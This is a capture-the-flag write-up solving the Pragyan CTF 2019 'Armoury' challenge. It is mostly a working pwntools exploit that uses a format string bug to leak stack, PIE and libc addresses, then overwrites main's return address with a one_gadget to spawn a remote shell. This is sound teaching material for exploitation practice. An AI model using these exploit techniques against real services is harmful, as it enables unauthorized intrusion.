Armoury

Pragyan CTF 2019 - Pwn (400 pts).

Pragyan CTF 2019: Armoury

Challenge details

Event Challenge Category Points Solves
Pragyan CTF 2019 Armoury Binary 400 33

Download: armoury

Description

Want to know about your favourite rifles? Our Service is perfect for you.

nc 159.89.166.12 16000

Methology

Finding the entry point

Let’s identify the file type :

$ file armoury
armoury: ELF 64-bit LSB pie executable x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b5d84344ab21da669997f85f9db0c3ed71b54c1e, not stripped

And run checksec on it to see the protections that are in place :

$ checksec armoury
[*] '/Users/florianpicca/Desktop/armoury'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Now let’s open it in IDA and start disassembling. The main function looks like this :

main

There is a format string vulnerability on line 24. And 2 buffer overflows on line 20 and 29. But because there is a stack canary and the function is scanf, those buffer overflows are not exploitable because it’s not possible to go past the null byte of the canary.

We have 2 tries before having the possibility to give feedback. This is completely useless so forget about it.

There was the initialize function at the start of main :

initialize

Because setvbuf is called, there is no buffering in STDIN, STDOUT and STDERR. But most importantly, there is a call to the function alarm that will send the SIGALRM signal after 30 seconds, which in our case, terminates the connection.

The giveInfo function is not really interesting but here it is :

giveinfo

Let’s verify the format string vulnerability and the buffer overflows :

POC

General exploit idea

The general idea for the exploit is to leak the GOT address of the function puts. We have to bypass PIE in order to find it. We’ll then use it to read the address of puts to leak libc’s base address.

Then we will have to overwrite the return address because we can’t overwrite the GOT table as there is full RELRO. To do that we also have to find the location of the return address on the stack. Then we’ll have to overwrite it with the address of something.

Because it’s a 64-bit binary, we can use the very handy onegadget (found in the libc) that will spawn a shell for us, simply by jumping to it.

To overwrite the return address, we’ll have to do it in multiple writes because a 64-bit address is to long. And also we can’t use null bytes as it would terminate our string.

As you can tell, we need more than 2 vulnerable printf calls to do our exploit. But with only 2 we can use the first to leak the address of the loop counter variable on the stack and overwrite it with the second call to printf !

Get more Tries

let’s take a look at the stack layout when we leak an address. For that I used EDB a graphical debugger for Linux :

stack

For this run we know the exact address of the variable but don’t know where the stack is located because of ASLR. By looking at some values on the stack, we see that it’s possible to use some of them to leak the stack addresses, let’s take the value at 0x7FFE43CF18C8. We can deduce from our previous leak that this address is obtainable by giving “%17$p” as input.

Now let’s compute the difference between this leak and the address of the variable.

>>> leak = 0x1998
>>> variable = 0x187C
>>> leak-variable
284

We can obtain the address of the variable by subtracting 284 to the leak. Let’s do the same with the return address.

>>> leak = 0x1998
>>> ret = 0x18B8
>>> leak-ret
224

The beginning of our exploit will look like this :

# encoding: utf-8
from pwn import *

conn = remote("159.89.166.12", 16000)

# leak stack addresses
conn.recvuntil("Enter the name of Rifle to get info:\n")
# outputs 0 padded 64-bit hexadecimal value
conn.sendline("%17$016lx")
conn.recvuntil("----------------DATA-------------------\n")
leak = conn.recvline().strip()
stack = leak[:16]
ret = int(stack, 16)-224
print "ret = %s"%(hex(ret))
variable = int(stack, 16)-284
print "variable = %s"%(hex(variable))

We will now overwrite it with the next call to printf in order to gain more tries. I will not detail how the overwrite works because it’s a basic format string exploitation technique, the code is self explanatory.

# Overwrite the variable to get more tries
conn.recvuntil("Enter the name of Rifle to get info:\n")
# adjust padding so %10 lands on the address of variable
# put the address at the end because of the null bytes
payload = "C"*10+"%10$n"+p64(variable)
conn.sendline(payload)
conn.recvuntil("----------------DATA-------------------\n")
# now we have 9 more tries !

Let’s see if this works locally :

moretries

Yes it works ! We have in fact 9 more tries now !

Leak GOT entry

From the previous stack layout, we found out that the 10th value on the stack is the address of the string “AWAVI” in the binary. Sadly we can’t use this one because our format string is a bit longer so this offset is not usable, instead we’ll use the offset 14 that holds the same value. This will allow us to deduce the address of the GOT entry for the function puts.

The string “AWAVI” is located at offset 0xCA0 in the binary. The GOT entry is located at offset 0x201F88. We can recover it’s address like this :

# leak got address of puts
conn.recvuntil("Enter the name of Rifle to get info:\n")
conn.sendline("%14$016lx")
conn.recvuntil("----------------DATA-------------------\n")
leak = conn.recvline().strip()
awavi = leak[:16]
PIE = int(awavi, 16)-0xca0
put = PIE+0x201F88
print "putsGOT = %s"%(hex(put))

Leak address of puts

We can now read the bytes at this address with “%s” to leak the address of puts in the libc.

# print puts@got
conn.recvuntil("Enter the name of Rifle to get info:\n")
payload = "C"*9+"%10$s,"+p64(put)
conn.sendline(payload)
conn.recvuntil("----------------DATA-------------------\n")
putslibc = conn.recvline().strip()[9:].split(",")[0]
putslibc = u64(putslibc+"\x00"*2)
print "puts@GOT = %s"%(hex(putslibc))

The service is not up anymore at the time of writing this but I would leak addresses like this one :

0x7f22f47e89c0

Deduce the libc’s base address

We don’t know which libc the server uses. That’s why I used this awesome website :

libcsearch

To be sure that I found the right libc, I decided to try to print the string “/bin/sh” :

# calculate libc base address from the offset of puts in the specified libc
libc = putslibc - 0x0809c0
print "libc base = %s"%(hex(libc))
# print /bin/sh if we have found the right libc
sh = libc + 0x1b3e9a
conn.recvuntil("Enter the name of Rifle to get info:\n")
payload = "C"*9+"%10$s,"+p64(sh)
conn.sendline(payload)
conn.recvuntil("----------------DATA-------------------\n")
leak = conn.recvline().strip()[9:].split(",")[0]
print leak

And indeed I got the right libc, so I downloaded it and searched for onegadgets with this awesome tool.

$ one_gadget thelib.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

Because I’m going to overwrite the return address of the function main. I decided to use the first one as RCX will be 0 if the canary didn’t change. That’s the last check that is performed before returning from main.

Overwriting the return address

Because I have 6 more tries left, I decided to overwrite the return address byte by byte :

# overwrite the return address byte by byte with the address of onegadget
onegadget = libc+0x4f2c5
print "onegadget = %s"%(hex(onegadget))

for i in range(6):
    conn.recvuntil("Enter the name of Rifle to get info:\n")
    # get onegadget address byte by byte starting from the end
    offset = int(hex(onegadget)[(i*-2)-2:i*-2], 16)
    # make sure the lenght never changes can only be between 0 and 256
    offset = str(offset).zfill(3)
    # write only 1 byte at ret+i
    payload = "%"+offset+"x"+"%10$hhn,,,"+p64(ret+i)
    conn.sendline(payload)
    conn.recvuntil("---------------------------------------\n")

Let’s verify if the exploit works locally. At least if it overwrites the return address correctly, because the libc’s offsets won’t be the same as on the remote server.

exploit

The exploit calculated that the onegadget address was 0x7f12787e5f95. Let’s verify in the coredump if it did crash at this address.

gdb

Yes it did ! The exploit works, now it’s time to launch it against the remote target and get the flag !

Full exploit

# encoding: utf-8
from pwn import *

conn = remote("159.89.166.12", 16000)

# leak stack addresses
conn.recvuntil("Enter the name of Rifle to get info:\n")
# outputs 0 padded 64-bit hexadecimal value
conn.sendline("%17$016lx")
conn.recvuntil("----------------DATA-------------------\n")
leak = conn.recvline().strip()
stack = leak[:16]
ret = int(stack, 16)-224
print "ret = %s"%(hex(ret))
variable = int(stack, 16)-284
print "variable = %s"%(hex(variable))


# Overwrite the variable to get more tries
conn.recvuntil("Enter the name of Rifle to get info:\n")
# adjust padding so %10 lands on the address of variable
# put the address at the end because of the null bytes
payload = "C"*10+"%10$n"+p64(variable)
conn.sendline(payload)
conn.recvuntil("----------------DATA-------------------\n")
# now we have 9 more tries !

# leak got address of puts
conn.recvuntil("Enter the name of Rifle to get info:\n")
conn.sendline("%14$016lx")
conn.recvuntil("----------------DATA-------------------\n")
leak = conn.recvline().strip()
awavi = leak[:16]
PIE = int(awavi, 16)-0xca0
put = PIE+0x201F88
print "putsGOT = %s"%(hex(put))

# print puts@got
conn.recvuntil("Enter the name of Rifle to get info:\n")
payload = "C"*9+"%10$s,"+p64(put)
conn.sendline(payload)
conn.recvuntil("----------------DATA-------------------\n")
putslibc = conn.recvline().strip()[9:].split(",")[0]
putslibc = u64(putslibc+"\x00"*2)
print "puts@GOT = %s"%(hex(putslibc))

# calculate libc base address from the offset of puts in the specified libc
libc = putslibc - 0x0809c0
print "libc base = %s"%(hex(libc))
# print /bin/sh if we have found the right libc
sh = libc + 0x1b3e9a
conn.recvuntil("Enter the name of Rifle to get info:\n")
payload = "C"*9+"%10$s,"+p64(sh)
conn.sendline(payload)
conn.recvuntil("----------------DATA-------------------\n")
leak = conn.recvline().strip()[9:].split(",")[0]
print leak

# overwrite the return address byte by byte with the address of onegadget
onegadget = libc+0x4f2c5
print "onegadget = %s"%(hex(onegadget))

for i in range(6):
    conn.recvuntil("Enter the name of Rifle to get info:\n")
    # get onegadget address byte by byte starting from the end
    offset = 0
    if i == 0:
        # special case when i == 0 otherwise will return an empty string because of the slice [-2:0]
        offset = int(hex(onegadget)[(i*-2)-2:], 16)
    else:
        offset = int(hex(onegadget)[(i*-2)-2:i*-2], 16)
    # make sure the lenght never changes can only be between 0 and 256
    offset = str(offset).zfill(3)
    # write only 1 byte at ret+i
    payload = "%"+offset+"x"+"%10$hhn,,,"+p64(ret+i)
    conn.sendline(payload)
    conn.recvuntil("---------------------------------------\n")

# give feedback and enjoy your shell quickly before the connection resets
conn.interactive()
conn.close()

Flag

pctf{“W@r_1sN3v3R@_las41nG_s0lut1on#f0R_any_pr0bleM”}

ENOENT